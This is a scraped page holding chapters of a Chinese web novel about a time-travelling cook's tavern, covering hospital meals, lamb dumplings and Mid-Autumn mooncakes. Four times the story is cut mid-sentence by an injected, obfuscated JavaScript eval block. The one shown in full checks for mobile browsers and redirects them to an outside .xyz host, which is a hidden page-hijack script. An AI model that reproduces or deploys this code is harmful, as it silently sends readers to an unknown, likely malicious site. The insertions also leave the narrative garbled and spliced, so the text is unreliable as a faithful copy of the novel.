虾肉紧实又弹滑，一口咬下，不仅弹牙，还非常多汁。 项老爷子慢慢嚼着，那蒜香，混合着鲜美的虾味，无比开胃。 “我还以为我这老牙老嘴的，咬不动呢，没想到这么轻松就能吃掉。”项老爷子吃了一个虾，把虾尾吐掉，直接上手拿起另一个虾的虾尾，“这不跟嗑瓜子一样吗？” 他把一个又一个虾送进嘴里，嘴上咬着，一拉扯，虾肉入口，虾尾的壳直接拔下来。 既能吃到香喷喷的虾肉，又不会用手把食物弄脏，一举两得。 “真香啊。”项老爷子每送进嘴里一口虾，就“滋儿”地先嗦一下虾肉汁，然后再嚼，因为缺了牙齿，咀嚼幅度非常大，看着贼香。 汪老太也不发呆了，挣扎着坐起身，眼巴巴地看着项老爷子吃虾。 对面床的大哥忍不住了，拿出一包方便面啃，眼睛却不离虾肉，那大哥的妻子则推搡着他，让他给自己再带一份饭。 “完了，我也又饿了。”项航在来医院之前，本身是吃过饭了的，可现在舌头又按耐不住寂寞了。 “我也吃一个。” 项航刚伸手，项老爷子就用筷子打他的手：“不是给我买的吗？你吃了我都不够吃了。” “这可三个菜呢，您吃得完吗？”项航吃痛收手，“您还是亲爹吗？对儿子没有一点儿爱了吗？” “你小子别矫情。”项老爷子奚笑一声，目光转向另外两道菜，“哟，这还有两个菜呢。” 每块两寸长，焦黄的炸货，外面裹了一层金灿灿的粉末，宛如裹了金粉，在饭盒里整齐地堆成几堆，玉米的香气伴着油香袭来。 还有一些软糯的不规则软块，表面裹了一层晶莹的汤汁，散发出浓浓的鱼肉香，以及热油炒过茄子的香味。 “这是玉米和茄子？”项老爷子通过气味猜测。 “是的，金沙玉米和肉末茄子。”项航看着那油亮亮的挂汁，咽了咽口水，“今天医护人员吃的那个青椒茄子也卖完了。” “好吧，尝尝这两个的味道。” 项老爷子说着，用筷子直插一块茄子。 这个小小的动作，却被全病房的人看在眼里。 那茄子软软的，筷子插到底才扎起一块，一整个都被挂汁包裹着，深棕色里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好好好！”汪老太高兴得直拍手，意识到自己左手上扎着针，又赶紧放平了手，哈哈乐着。 “老公啊，我好饿。”对面床的女人咂吧着嘴，也朝丈夫撒娇。 “老婆啊，我也饿，等着，老公现在就把那家店的饭全都来一份，打包回来。”大哥把柜子里两个超大饭盒夹在腋下，快步走出了病房门。 “哎呀，真是早买早享受。”项老爷子满口都是食物，讲话都模糊了，还是不忘得意洋洋地调侃。 “我也想吃了，害。”项航犹豫半天，站起身去追那大哥，“隔壁床的大哥，你能给我再带一份吗！别跑那么快！” - 洛之桃背着电脑往江家小酒馆走，一想到江家小酒馆的新店，会用她电脑里的某个方案设计装修出来，她就激动。 来到店内已经九点，客人们依依不舍地离开，这还是江云枫定下的强制打烊时间，否则就算晚上十二点都招待不完所有客人。 此时李博鸿和林若雪正在大堂坐着玩手机，等待他们的宵夜，江云枫和言亦轩则在厨房里忙碌着。 “好香啊，你们在烤羊肉串吗？”洛之桃深吸着气。 羊肉的鲜味，混合着孜然的浓郁香气，飘散在整个大堂，实在勾人胃口。 “好像是的，不过也不一定。”林若雪笑道。 “是的，有时候闻到是一个味，吃到又是另一种形式，我们都挺喜欢这种开盲盒的感觉的。”李博鸿咽了咽口水，耐心等待着。 “哦？这么有趣？”洛之桃一套粉色汉服，衬得她身形轻盈，朝厨房快步走去。 江云枫从厨房探出半个头：“小洛来啦。” “是的，设计图纸做好了，正好拿给你看看。”洛之桃举了举装着电脑的包。 “这个不急，咱们一起吃完饺子再说。”江云枫的声音，被炒菜的声音盖住，模模糊糊的，“一会儿咱还可以讨论一下，过几天中秋节的活动。” “等等，设计图纸先放放，中秋节活动也先放放，你说这孜然羊肉味道来自饺子？” 洛之桃只抓住了食物的重点，她有些惊讶地进了厨房，看到江云枫在炒孜然羊肉，而言亦轩竟然正在把孜然羊肉，塞在圆圆的面皮里，包成饺子。 34. 孜然羊肉饺子 “你是不是没吃过孜然羊肉馅的饺子？”江云枫回头，见洛之桃眼睛都直了，鼻息间发出轻笑。 “没吃过，肉饺子我一般吃猪肉荠菜的，或者牛肉大葱的，没想到还有孜然羊肉这么香的馅儿。”洛之桃的视线随着香味，来到江云枫正在操作的锅里。 锅里是切成丁的羊肉，每块羊肉中夹杂着四分之一的肥肉，那肥肉雪白如凝脂，随着锅铲的翻炒，慢慢融化成香味直钻鼻孔的羊油。 江云枫横刀一铲，又用手一抿，那刀上细碎的葱花、姜末、孜然，如雪般落入锅中，整套动作行云流水，透出一股江湖刀客的飒气。 洛之桃还没感慨出声，江云枫在羊肉上淋了一圈儿白酒，铁锅在她手中听话地前后颠了两下，熊熊烈火顺着白酒，蔓延至锅内，火焰包裹着羊肉，瞬间窜得老高。 “哎哟！”洛之桃惊叹出声，往后退了半步。 “放心，火焰出不了锅，用白酒激一下羊肉和孜然的香味。” 江云枫笑笑，仍旧面不改色地颠勺，摇曳的火焰照得她的枫叶耳钉闪闪发光，好似耳边也有两簇小的火焰。 随着酒精挥发，火焰自行偃旗息鼓。 果然，火焰灼烧后，羊肉被炙烤过的香味登时冒出，孜然被热腾腾的温度烘烤，给羊肉增香不少，气味也格外有穿透力。 闻上一口，鼻子嘴巴里，都是挥之不去的羊肉香味。 “哎哟。”言亦轩捏着嗓子学着洛之桃的声音，面无表情道，“还是看我包饺子比较安全。” 洛之桃每次见这位哥们不动声色地开玩笑，都会绷不住笑：“你这个位置挺好的，直接可以偷吃。” 那孜然羊肉再加上一把洋葱丁，翻炒几下，撒上白芝麻就能出锅，江云枫将锅中炒好的馅料，铲到言亦轩面前的大盆里，继续炒下一锅。 言亦轩则将炒好的孜然洋葱羊肉，放进擀得圆圆的面皮中，食指拇指灵活地捏着面皮，用整齐的花边将这饺子收口。 “我是受过专业训练的，无论多好吃我都不会偷吃。”言亦轩一本正经道。 穿越到现代十年，言亦轩已经学了不少梗。 “除非忍不住？”这个刻在DNA里的梗，瞬间从洛之桃嘴里滑出。 “是的，除非忍不住。”言亦轩说完，迅速从旁边的餐具盒里抽了个勺子，舀起一勺孜然洋葱羊肉塞进嘴里，而后装作什么都没发生，若无其事地嚼着。 “哈哈哈哈哈哈哈......你怎么能不笑的！”洛之桃被他逗得捧腹大笑。 言亦轩闭上眼睛，细细嚼着，浓郁的孜然味，穿透力直冲天灵盖，羊肉裹了酱油、蚝油和淀粉勾的芡，入口嫩滑多汁。 洋葱颗粒则是细细碎碎，一嚼是爽脆的甜汁，白芝麻在齿缝间碾碎，更添香味。 这一口，喷香又满足。 “真好吃，羊肉火候得当，料汁也调得刚刚好，鲜而不齁。”言亦轩满意地点头。 “我也想吃。”洛之桃面对着一大盆冒着香喷喷热气的孜然羊肉，激动的眼泪从嘴角缓缓流下。 “包好再吃，包好再吃。”言亦轩放下勺子，继续用公筷往面皮里塞馅料，手上包饺子的动作加快了。 “我来的不是时候，再晚个二十分钟来就好了。”洛之桃眼馋得很。 “这就下饺子，马上就能出锅。”江云枫看她扒着厨房门框，满脸期许的样子，端起一口锅，盛了水放在另一个炉灶上。 那饺子大小均匀，花边被捏得很有层次感，宛如雕出来的玉石。 面皮很薄，孜然羊肉的酱汁和油汁浸润面皮，透出隐隐约约的棕色。 锅中水滚起，活跃的气泡一簇簇上涌，饺子一个个落入水中，被鱼咬了钩的浮漂似的上下浮沉。 面皮变得更加透明，孜然羊肉的馅料呼之欲出。 三滚三沸后，江云枫拿起一个大漏勺，兜底一抄，孜然羊肉饺子悉数装进盘中。 “是煮好了吗？我来端我来端。”洛之桃早已按耐不住，兴冲冲凑过来。 “小心烫。”江云枫微微一笑，将盘子小心转移到她手中。 “开饭喽！”洛之桃声音一响，大堂里的俩人立刻起了身，见是饺子好了，纷纷来迎。 三个人共同端着一盘饺子，一齐放在桌子上的场面，格外搞笑。 很快，每人一盘饺子都上了桌，言亦轩将各人的筷子按照座位朝向，整齐摆好，而后请江云枫落座。 洛之桃、李博鸿和林若雪，都眼巴巴地看着饺子，忍着等江云枫先动筷子。 “都是熟人，不用客气，都吃吧。”江云枫见他们眼睛都直了，笑道。 “江老板，我就不客气了！”洛之桃的话和筷子是一同动作的。 乒乓球大小的羊肉饺子格外饱满，筷子夹第一下，还差点滑脱，洛之桃调整了一下角度，又夹起来。 刚凑到嘴边，她就被烫了一下，“嘶”地抽着气拉远，“呼呼呼呼！”连吹好多下，再凑近嘴唇时，饺子已经是合适的温度了。 咬上一口，面皮宣软，饺子刚破裂开，内里的羊肉汁登时溢出，洛之桃赶紧用嘴唇包住咬开的小口。 一嗦，融入羊肉鲜味和酱汁咸鲜的汤汁，吸入口中。 “哇——”洛之桃张口，呼出冒着白雾的羊肉香气。 嚼一嚼，羊肉颗粒又软又嫩，汁水也很丰厚，孜然带着粉末感，粘在舌头上香气很足，舔一舔化开来，香味更是加倍。 洋葱丁时不时在口中破碎，带来一阵清脆的“嚓嚓”声，一股似有若无的甜味在舌尖漾开。 “这也太香了......”洛之桃感觉自己像在吃烧烤。 “以前怎么没想到，用孜然羊肉当馅料呢。”李博鸿实在难以忍耐食欲，随意呼呼吹几下，就将羊肉饺子整个送入口中。 那羊肉饺子外层是温热的，嚼到里面还是微烫，李博鸿感受到烫时，又仰头张口，用舌头呼出几分热气。 一个饺子就被囫囫囵囵地吃下了肚。 “诶，吃了几个才发现，没有拿醋。”林若雪感受着面皮的温润和孜然羊肉的刺激感，在口中混合，起身去厨房拿小碗倒醋。 “我来调两个料汁吧。”江云枫也起身进厨房。 两个碗各倒了醋，加上蒜末、蚝油、小磨香油，又在其中一碗里，搅拌进两勺辣椒油。 “帮我拿五个小碟子吧。”江云枫端着两碗蘸料出来，顺便招呼林若雪。 “好嘞。”林若雪应道，将六个小碟子摞在一起，两把勺子放在顶端，端去大堂，瓷碟碰撞叮当响。 “你们谁要辣，谁不要辣？”言亦轩接过两碗蘸料，放在桌上，两个勺子各放进一碗蘸料中，又接过碟子，摆成一排，给大家分蘸料。 “我要不辣的。”江云枫先开口。 “我要辣！”李博鸿和洛之桃举手。 “我各要一半吧，不辣的浇在饺子上，辣的放在碟子里。”林若雪都想尝尝。 “另辟蹊径？那我也要一半一半的。”言亦轩挑了下眉。 酱料很快分好，林若雪的饺子淋了蘸料后，变成深棕色，蘸料沿着饺子缓缓流淌，又落入白瓷盘中。 “诱人得很哟~”林若雪夹起一个淋了蘸料的饺子。 香醋微酸，让这饺子的外皮更加鲜爽，小磨香油的油气不重，香味很悠远，再有蚝油提鲜，蒜末调味。 这一口饺子，在浓郁的羊肉香气之外，还增加了几分活络的鲜味。 “诶呀，好吃。”林若雪味蕾都被激活了。 “还是辣的好吃！”李博鸿夹起雪白的饺子，在盛了辣味蘸料的碟子里滚了一圈儿，那饺子立刻染上红油的色泽，油亮诱人。 塞进嘴里，麻麻辣辣的滋味攀上舌头，刺激得他加快咀嚼速度，饺子皮咬破，孜然香气的肉汁迸溅出来，同辣香和醋味融合。 “辣辣的......好香......又辣又香......”李博鸿连吃好几个，一脑门都是汗，额前细碎的刘海都变成一撮一撮的，一边“斯哈” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我来准备灯谜吧，听着就很有意思，花灯我也可以在网上找找，找好之后把样式发给老板你。”林若雪兴致勃勃。 “花灯不用找，我合作的有个客人，是做手工花灯的，款式多，效果还精致，你看。”洛之桃打开手机相册，左右滑动，给江云枫看花灯照片。 那花灯样式果然惊艳。 六角的宫灯，每面都有镂空的雕花，流苏上也有珠串；花篮灯下面可燃烛，上面还能放插花。 龙灯可手持，连须子、鳞片都做得栩栩如生；花草灯圆滚滚的，一点亮，花叶草叶的影子拓印在纸糊的灯上，氛围感满满。 数种灯笼，样样不同，都美得很。 “等等，我怎么总觉得这灯笼有些眼熟。”江云枫眯起眼睛，思索道。 上辈子在江家小酒馆，灯笼有专门的伙计采买，她只负责赏灯。这洛之桃给她看的几盏灯，似乎和上辈子见过的几种款式一模一样。 “这些样式不算很常见，毕竟是手工做的，纹样和款式都有客人自己的风格。”洛之桃翻页的手指顿了顿，“不过这个客人自己有手作古风灯笼店铺，你可能是刷到过他的图。” “有这个可能。”江云枫一时半会儿想不起，上辈子究竟是哪个商贩谁给江家小酒馆供灯笼了，不过她有点不确定是不是这辈子看到过，记错了。 “这款式挺多的，我发给你，你这几天可以慢慢选。”洛之桃翻得手指都有点酸。 “好，我也挑花眼了。”江云枫微微一笑。 给店内各人安排好了中秋节的准备后，李博鸿和林若雪就先回去了，洛之桃拿出电脑，打开设计方案，把电脑屏幕对着江云枫。 “按照你之前跟我描述的要求，我一共设计了三个方案，江老板看看你喜欢哪一个？” “这是设计图？立体的？”眼前美轮美奂的场景，让江云枫差点以为自己又穿越回了古代。 35. 酥皮鲜肉月饼 “对，是3D立体的，这样更方便你预览装修好的效果嘛。”洛之桃搬着凳子，坐在江云枫身边，给她展示屋内的各部分。 洛之桃开始设计之前，江云枫跟她沟通过要求。 那家商铺两层楼的中间部分没有地面，上下两个空间是贯通的，从上往下看是个“回”字形。 一楼要放二十桌，二楼要放十五桌，运用古风元素和植物元素的基础上，空间要分割得张弛有度。 江云枫翻看第一个设计，每一桌周围都立起四面墙，一入座，宛如进入白墙黑瓦的古风小院：“这个很有意境，但是每一桌都有四面墙挡着，吃饭会比较闷，不透气。” “确实，商铺的挑高不够高，人一多，吃点热乎的，是会很闷。”洛之桃稍微思索，点点头，点开第二个设计。 第二个设计很亮眼，地面有水波纹灯，一进门，数条乌篷船遍布大堂，吃饭的桌子就在船上，仿佛泛舟江面。 “很有创意啊！”江云枫也没想到船能搬到室内，眼前一亮，“不过这样，二楼往下看，视线都被挡住了，如果这个楼再多几层，这样安排倒是合适。” 大梁的房屋构建也讲究风水，屋内的“气”要流通，才更适合聚财，前两个虽然样式精妙，却不够透气。 “也是，那再看看第三个呢？”洛之桃连连点头，她才发现，江云枫对空间设计也有些天赋在。 第三个设计一亮出来，江云枫神色一凛，凑近了认真细看。 一楼中间五桌Z字形排列，周围一圈十五桌，都用刺绣屏风隔开，但凡角落或是转弯处，都有几丛竹子或是阔叶植物。 两层楼檐下都有精致挂落，二楼还有一圈红木雕栏做围栏。 二楼的房檐上，高高低低很有层次感地垂着各样式的宫灯，散发出的暖橘色光芒，照得整个屋子温馨动人。 天花板上，还松弛地平铺着一幅幅书法作品，氛围感强烈。 “这个挺好的。”江云枫透过这设计图，甚至看出了一些旧日江家小酒馆的影子，“前两个设计也不用浪费，可以取一些元素加进来。” 江云枫又翻看前两个设计，伸出食指比划着：“第一个设计的飞檐，可以加到一二楼中间的天井边缘，第二个设计的乌篷船，可以直接做成大门。” “做成大门？”洛之桃想象了一下。 “客人从乌篷船的一端进门，从另一端出来时，就进店了。”江云枫解释道。 “这一出来，别有洞天！真妙！”洛之桃醍醐灌顶，激动得一拍手，“江老板，你对设计也很有天赋啊，我这就回去修改设计图！” 江云枫微微一笑，天赋她倒是没有，就是以前在大梁，实地见过的古风饭馆太多了，对室内布置也有点感觉。 洛之桃第一天就改好了设计图，按照规划，联系了装修队开始布置装修，与此同时，江云枫这边也在紧锣密鼓地为中秋节做准备。 最需要准备的是中秋节的糕点，糕点制作费时长，且人手有限，而且厨房地方不大，招人进来更不方便行动。 最后，江云枫决定还是由她、言亦轩、李博鸿三个人提前制作糕点，只是售卖要限量。 这几天，江家小酒馆缩短了营业时间，空闲一点的时候，就在安排糕点制作。 “咱们中秋的糕点，一般是五种，莲蓉蛋黄月饼、酥皮鲜肉月饼、龙井茶糕、花想容糕、枣泥山药糕。”江云枫对李博鸿介绍道，“你想先学做哪种？” “我想问下，这个酥皮鲜肉月饼是咸的？还有这个花想容糕是什么？”李博鸿以前只吃几种大众口味的月饼，没想到还有这么多糕点。 “鲜肉月饼是咸的，花想容糕以玫瑰花做内馅，相传吃了之后肌肤如花般娇嫩而得名。”言亦轩食指和拇指捏着下巴，解释道。 “我想学这两种，我没吃过咸的月饼，也没做过玫瑰花的糕点。”李博鸿来了兴致。 “行啊，先做肉馅吧。”言亦轩挑了一块猪夹心肉。 三肥七瘦的猪肉，搅成肉泥时，红白交杂，很是好看。再添蛋液、葱花、榨菜末，还有一些调料，搅打上劲，捏成乒乓球大小的剂子。 猪油和白糖融在水中，熬成的液体和的面，起酥效果很好，用这状如凝膏的面皮，擀圆，裹了肉馅，包出的团子就是鲜肉月饼了。 大部分流程是李博鸿亲手操作的，言亦轩多是言语指点，有时候也会亲手帮忙。 “猪肉馅不要添太多料汁，否则烤出来的月饼油汪汪的，一咬开能抗旱了。”李博鸿往肉馅里倒料汁时，言亦轩赶紧扶住瓶子。 “好的好的，我加少点。”李博鸿赶紧稳住瓶子。 “月饼外皮有裂缝，要赶紧捏上，饼皮光滑才好看，不然七裂八裂的，跟老头子干裂的嘴唇有一拼。”言亦轩食指拇指适度用力，面皮的裂口闭合，整个月饼很是光滑。 “好的好的，我记得了。”李博鸿操作着，暗想言亦轩真是细节控，哪怕那裂缝浅得跟掌纹似的，也会被他提醒。 月饼做好后，言亦轩找来印章，又调了红色的食用色素。 林若雪看到，好奇地凑过来：“这是什么章子啊？” “盖在月饼上的章。”言亦轩抬起章子，上面刻着镜像的“鲜肉月饼”四个字，还有一些花纹图样。 “我能盖吗？看着很有意思。” “那你来，轻一点不要把月饼弄破了。”言亦轩把章子递给她。 “好。”林若雪跃跃欲试，用印章沾了红色食用色素，小心地轻按在月饼上。 印章抬起，雪白的面皮上，印了红色的小字和花纹，很是精致。 一排排月饼纷纷盖章，乍一看宛如红梅落雪，美得惊艳。 “真好看，也不知道烤出来什么效果。”林若雪看着李博鸿把月饼放入烤箱。 烤箱的灯将月饼照亮，扁扁的面皮受热膨胀，饱满鼓胀起来，两面变得微微金黄。 李博鸿又跟着言亦轩，学习炒玫瑰花酱，娇嫩的玫瑰花瓣同蜂蜜炒制，变成酒红色的泥状。 白芸豆碾压成的豆泥做外皮，玫瑰花酱做内馅，莹润的白色外皮切开来，内里浓稠的糖浆淡淡渗出，带着花香的甜意萦绕鼻尖。 “老板这是要做新品吗？”见江云枫将带皮的莲子洗净放入锅中，李博鸿好奇地凑过来。 “这个是莲蓉月饼的馅。”江云枫又将清水，以及带着香灰味的水倒入锅中。 李博鸿以往吃莲蓉蛋黄月饼，从没细想“莲蓉”就是莲子做的，那香灰味的水让他皱了皱鼻子：“闻着好像是烧过的草叶和树枝味。” “你鼻子还挺灵的，是草木灰水做的古法碱水。”江云枫搅拌着锅中的莲子。 “咱们真用古法制作月饼啊......”李博鸿惊讶地看着她的动作，“老板你是怎么学到的这些？” “保密。”江云枫神秘一笑。 那莲子在碱水中煮过，更易脱皮，捞出的莲子被江云枫刮去外皮，清洗后上锅加水，慢焗至莲子软烂。 捣成泥的莲子呈现出浅粉色，再加蜂蜜和食用油在锅中翻炒，绵软而清甜的香味四溢。 糖水同柠檬酸水溶液，共同熬制成浓稠的糖浆，用糖浆和出来的面既柔软，又油润。 泥状的莲蓉，裹紧煮熟成金棕色的咸鸭蛋黄，再被软而韧的面皮包裹，模具一压，精美细致的花纹烙刻在面团上。 刷上蛋液，放入烤箱，阳光般的金黄染上月饼，那花纹凸出来的部分颜色重些，凹下去的部分颜色浅些，更突出了立体感。 “这样五种糕点就是一盒了，每个人可以拿三盒回去吃。”江云枫早已定好了包装礼盒，此时正在打包装盒。 莲蓉月饼金灿灿恍若奖章，花纹细腻。鲜肉月饼外皮如薄薄的纸页，一碰就酥脆掉渣，表面的红色印章平添精致。 龙井茶糕通体雪白，状若茶花。花想容糕呈现出玫瑰花造型，白中透着一抹粉嫩。枣泥山药糕则上下分为三层，一层枣红色夹在两层山药白中，色彩对比让人很想咬一口。 五种月饼，每种三个，堆放在铺了防油纸的盒中，满满当当。 “之前中秋节我只吃过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“第一次做月饼就能这么成功，真不枉费言老师的教导。”李博鸿美滋滋地想道，几口便将一整块鲜肉月饼送入肚中。 他还很不舍得地捏了碎成渣的饼皮，一起送入口中。 一个鲜肉月饼吃完，李博鸿的手指又在各种糕点间犹豫不决。 “看着都很好吃啊，要不然还是选我自己做的吧。”李博鸿的手指最终伸向花想容糕。 玫瑰花的造型，再加上白中透粉的渐变色泽，让这糕点有种惹人怜爱的娇弱感。 李博鸿小心翼翼地捏起花想容糕，左看右看，把这精致的样子留到脑海里，才凑近咬了一口。 外层豆沙细腻绵软，白芸豆的豆香很足，在舌头上化开来，是清甜的味道。 内里的红棕色糖馅，是清甜的蜂蜜味，混合浓郁的玫瑰花香，嚼着也有花瓣破碎于口中的细腻触感，很是勾人食欲。 “好吃得很。”舌尖的甜味让李博鸿心情大好。 见玫瑰花馅缓缓流出，他赶紧用嘴包住内馅，轻轻一吸，浓稠的玫瑰花馅入口，满口芳香。 李博鸿提着糕点打开宿舍门时，屋内的三个室友，一个躺在上铺睡觉，一个戴着耳机狂敲键盘，投入地打着游戏。 还有一个学霸面前堆了几本翻开的书，紧握黑笔，埋头沉浸式学习。 李博鸿本想悄咪咪地，把每样糕点都各尝一个，再分给室友们。 然而那烘焙的甜香、清新的茶香与花香、浓郁的枣泥香，混合着溢出包装盒，在宿舍中弥漫。 半睡半醒的黄俊泽，垂死梦中惊坐起，眼神都明亮了：“好香的面包味啊。” “老李，你带了好吃的吗？”孔康亮连连抽着鼻子吸气，黏在电脑屏幕上的眼神，甚至也愿意分出来看李博鸿桌上几眼。 连学习时几乎不会分心的闻之璟，此刻都转头过来，搜寻着屋内的香气，很快就锁定了李博鸿。 在三人的齐齐注视下，张大嘴往口中送糕点的李博鸿僵住了。 36. 莲蓉蛋黄月饼 “哦，我刚从兼职的店里回来，老板送了中秋月饼礼盒，我给你们也带了一份。” 李博鸿放下糕点，拍了拍手上的碎屑，把一盒新的糕点拿来，解开丝带。 纸盒刚打开，那股似有若无的糕点甜香气味，登时浓郁了好几倍。 “我要吃我要吃！”黄俊泽大口呼吸着香气，一个翻身从梯子上下来，看到糕点时很是惊喜，“这么多种类啊，看着都挺好吃的。” “对，一共五种，每种三个，正好够你们三个分。”李博鸿把盒子托起来。 “这么多种？？等着，我马上打完这一把。”孔康亮的注意力早就被糕点勾走，可惜游戏不能停，他还是第一次这么心急如焚，希望游戏赶紧结束。 黄俊泽率先拿了一块莲蓉蛋黄月饼，凑近吸一口气，表面的蛋液被烤出热烘烘的蛋香，他咬了一大口。 外皮油润，软硬适中，融了糖浆的缘故，甜味恰到好处。 包裹的莲蓉细腻得很，淡淡的莲子香气在口中弥漫，蜂蜜的清甜沁人心脾。 “嗯？这个莲蓉怎么跟以前吃到的味道不一样？”黄俊泽细细品味，感受那绵密的莲蓉一点点在口中融化。 闻之璟平时不怎么吃室友分的东西，原本想继续埋头学习，可那浓郁的香味在整个房间飘散，让他的专注力也涣散了。 纠结半晌，闻之璟凑了过来：“怎么不一样？莲蓉不都是类似的流水线做出来的吗？” “以前我吃到的莲蓉，都跟科技勾兑出来的一样，特别甜，特别不像是正儿八经农作物做出来的。”黄俊泽手指一推，剩下的大半个月饼一下入口，声音都模糊了几分，“唔......这个有莲子的香味，还有蜂蜜的甜味。” “对，这是我们老板亲手进行手工制作的，当然和流水线生产的不一样。”李博鸿提起江云枫，语气多了几分骄傲，“我们老板可厉害了，这还是用古法做的，你尝尝，味道肯定比别家的好吃多了。” “古法？”闻之璟挑眉一笑，以为室友被花噱头给骗了，他捏起月饼，小咬一口，眼神却从不屑，变成了惊讶。 月饼甜味很适度，既给舌尖带来甜蜜和愉悦，又不会腻到吃一口倒嗓子。 和黄俊泽说的一样，莲子香气很足，不仅口感细腻，味道也绵长，蜂蜜的甜很是清润。 不仅如此，那包裹其中的咸鸭蛋黄，更是一绝。 嘴唇抿一抿，是粗糙的沙质感，蛋黄香气浓郁，而且还浅浅流油，鸭油滋润又喷香。 一口莲蓉蛋黄月饼，咸甜交杂，味道好极了。 “这味道还真不是流水线做得出来的，确实好吃啊！”闻之璟又咬了一口，感受着整个柔软的月饼，在口中慢慢融化，“欸对了，你们店叫什么名字？” 三个人都知道李博鸿在校外的一家饭馆兼职，但没问过具体店名，李博鸿之前也是吃完晚饭才回宿舍，这是第一次给室友带店内的食物。 “江家小酒馆。我跟你们说，这个糕点还不是最惊艳的，你们要是吃一下那个螃蟹小饺，那个牛蹄筋面，那个腊味板栗饭......以后都看不上学校食堂了。”李博鸿伸出食指摇了摇。 “什么店能让你这么赞不绝口啊，还有，连学霸都觉得味道不错，我也得尝尝。” 一局游戏终于结束，孔康亮扔下耳机，从凳子上跳起来，凑过来抓了个龙井茶糕。 “看着也不算很特别嘛。”孔康亮左看右看，山茶花的外形，虽然好看，可在这大直男的眼中，和别的圆形糕点没什么不同。 他张开嘴，把龙井茶糕直接扔嘴里，“啊呜”一口吃下。 没想到的是，那龙井茶糕外层是用糯米粉做的，嚼着软软糯糯，糯米的清新味道，一下子占领口腔，淡淡的甜味蔓延。 仔细品味，还有牛奶的香气。 还没嚼几下，一股茶香涌入口腔，是内馅加了龙井茶粉的绿豆沙，随着饼皮破裂涌了出来。 绿豆沙绵密，龙井茶味香中带着微苦，在口中久久不散。 “嗯！竟然还挺不错！”孔康亮还没嚼完就开始比大拇指，很快呛到咳嗽起来。 然而哪怕是咳嗽，他也紧闭着嘴巴，这糕点浪费一点渣渣，都是对舌头的不尊敬。 “远远看着跟个小汉堡似的，还挺可爱。”黄俊泽拿起枣泥山药糕，凑近了看。 上下两层都是山药泥，中间夹着一层枣肉泥，红白相称，很是好看。 他一改刚才狼吞虎咽的架势，先凑到鼻尖闻了闻。 枣香浓郁，山药气清淡，两种香气融合，深吸一口气，让他感觉整个肺都清爽了。 “哎，幸好刚才没睡觉，否则就没法享受这么美味的东西了。”黄俊泽咬了一口，幸福地呵呵傻笑着。 山药泥带着点粗糙感，枣泥却是去过外皮和核碾压而成的，不仅细腻还带着点黏。 这一口，山药泥和枣泥在口中碰撞，又香又甜。 “这个皮竟然这么酥的吗？”闻之璟捏起鲜肉月饼，外面白白的饼皮，碎裂了几片，他赶紧用左手接住渣渣，右手捏紧了饼皮免得掉落。 “是的，我跟你们说，这还是我自己烤的呢。”李博鸿从自己那盒里，又拿出了一个吃。 闻之璟放慢了速度，咬了一口外皮，细小的饼皮碎裂声，像是树叶吹动一般悉悉窣窣的。 烘烤后的油香，让充满面香的饼皮更有滋味，内里的肉鲜嫩可口，榨菜末又添了几分咸香。 这一口，糕点的清新和肉的咸香融在一起，是格外别致的味道。 “兄弟你手艺挺不错啊，我还是第一次吃到咸味的月饼，真香。”闻之璟又咬了两口，感受着千层酥皮在口中碎裂，油汁从内馅中缓缓渗透到舌头上。 “那可不嘛，教我的是百万粉丝的大博主言亦轩呢！他可是严格又挑剔得很，当然了，我们老板更是厉害，要不然这个大博主也不能甘拜下风。”李博鸿一提到店内的事，就滔滔不绝。 “我发现不管是鸡鸭鹅猪牛羊，没有我们老板不会做的菜，好多还是古法的，我有时候都怀疑她是不是古人穿越来的。” “你说谁？教你的是言亦轩？”黄俊泽和孔康亮惊讶地提高了声音，异口同声道。 “他是谁？很有名气吗？”闻之璟不是在学习，就是在做学生会工作，网上冲浪速度明显落后。 “很有名啊！是个非常专业的美食博主，而且挺清高的。他贼专业，测评过的美食可以闭眼吃。”黄俊泽上下打量着李博鸿，感觉这位平平无奇的兄弟开始发光了。 “我虽然没怎么逛过美食区，不过前几天看游戏博主直播时，点开过热搜，反正就记得这博主在热搜上，很厉害，但是现在不干了，给一个很小的饭馆的老板当徒弟去了。”孔康亮说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938411|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着，打开了言亦轩的账号。 “哎等等，有更新！”孔康亮睁大了眼睛。 “发的什么？”闻之璟和黄俊泽也凑了过来。 “言亦轩发了动态，说江家小酒馆中秋节会搞活动，猜灯谜、赏桂花、拜月神什么的，而且他们店还推出了糕点礼盒。”孔康亮快速总结道。 “就是咱们吃的这个糕点吧？”闻之璟立刻反应过来。 “盒子一模一样。”黄俊泽仔细对比，点点头，“还好有这么个打入饭馆内部的兄弟，咱们也是先吃上了。” “喂喂喂，你们看，礼盒限量！中秋节前两天每天限量60份，中秋节当天限量100份！”孔康亮指着动态最后几句。 “诶，老李，能不能帮我们代购几份啊？”黄俊泽边吃边问，“每个糕点只尝一块，有点不够吃的。” 